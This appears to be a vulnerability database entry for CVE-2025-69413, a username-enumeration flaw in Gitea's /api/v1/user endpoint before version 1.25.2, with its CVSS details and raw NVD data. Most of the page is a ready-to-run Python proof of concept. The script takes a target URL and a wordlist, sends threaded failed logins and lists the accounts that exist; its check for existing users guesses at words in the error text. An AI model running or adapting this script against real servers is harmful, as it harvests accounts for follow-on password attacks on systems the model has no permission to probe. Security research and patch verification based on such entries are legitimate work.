Security Vulnerability Report
中文
CVE-2025-69413 CVSS 5.3 MEDIUM

CVE-2025-69413

Published: 2026-01-01 05:16:04
Last Modified: 2026-01-06 19:27:58

Description

In Gitea before 1.25.2, /api/v1/user has different responses for failed authentication depending on whether a username exists.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:* - VULNERABLE
Gitea < 1.25.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-69413 PoC - Gitea User Enumeration This PoC demonstrates how to enumerate valid usernames in Gitea < 1.25.2 through the /api/v1/user endpoint. """ import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed def check_username(base_url, username): """ Check if a username exists by analyzing the response from /api/v1/user """ endpoint = f"{base_url.rstrip('/')}/api/v1/user" # Try authentication with the username and a wrong password data = { "user_name": username, "password": "wrong_password_12345" } try: response = requests.post(endpoint, json=data, timeout=10) # Analyze response differences # Valid user: returns specific error about password mismatch # Invalid user: returns different error about user not found if response.status_code == 401: response_text = response.text.lower() # Check for password-related error (user exists) if 'password' in response_text or 'authenticator' in response_text: return { "username": username, "exists": True, "status": "User exists (password mismatch)" } # Check for user not found error elif 'user' in response_text and ('not' in response_text or 'no' in response_text): return { "username": username, "exists": False, "status": "User does not exist" } return { "username": username, "exists": None, "status": "Unknown response" } except requests.RequestException as e: return { "username": username, "exists": None, "status": f"Error: {str(e)}" } def main(): if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <username_list_file>") print(f"Example: {sys.argv[0]} http://localhost:3000 usernames.txt") sys.exit(1) base_url = sys.argv[1] wordlist_file = sys.argv[2] # Read usernames from wordlist with open(wordlist_file, 'r') as f: usernames = [line.strip() for line in f if line.strip()] print(f"[*] Starting user enumeration on {base_url}") print(f"[*] Testing {len(usernames)} usernames...\n") valid_users = [] # Use threading for faster enumeration with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(check_username, base_url, user): user for user in usernames} for future in as_completed(futures): result = future.result() if result['exists']: print(f"[+] Valid user found: {result['username']} - {result['status']}") valid_users.append(result['username']) print(f"\n[*] Enumeration complete. Found {len(valid_users)} valid users.") if valid_users: print("\n[*] Valid usernames:") for user in valid_users: print(f" - {user}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69413", "sourceIdentifier": "[email protected]", "published": "2026-01-01T05:16:03.907", "lastModified": "2026-01-06T19:27:57.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Gitea before 1.25.2, /api/v1/user has different responses for failed authentication depending on whether a username exists."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-204"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*", "versionEndExcluding": "1.25.2", "matchCriteriaId": "47985DBC-D31A-447D-8CB1-C4ED389FF103"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.25.2/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/issues/35984", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/go-gitea/gitea/pull/36002", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.25.2", "source": "[email protected]", "tags": ["Release Notes"]}]}}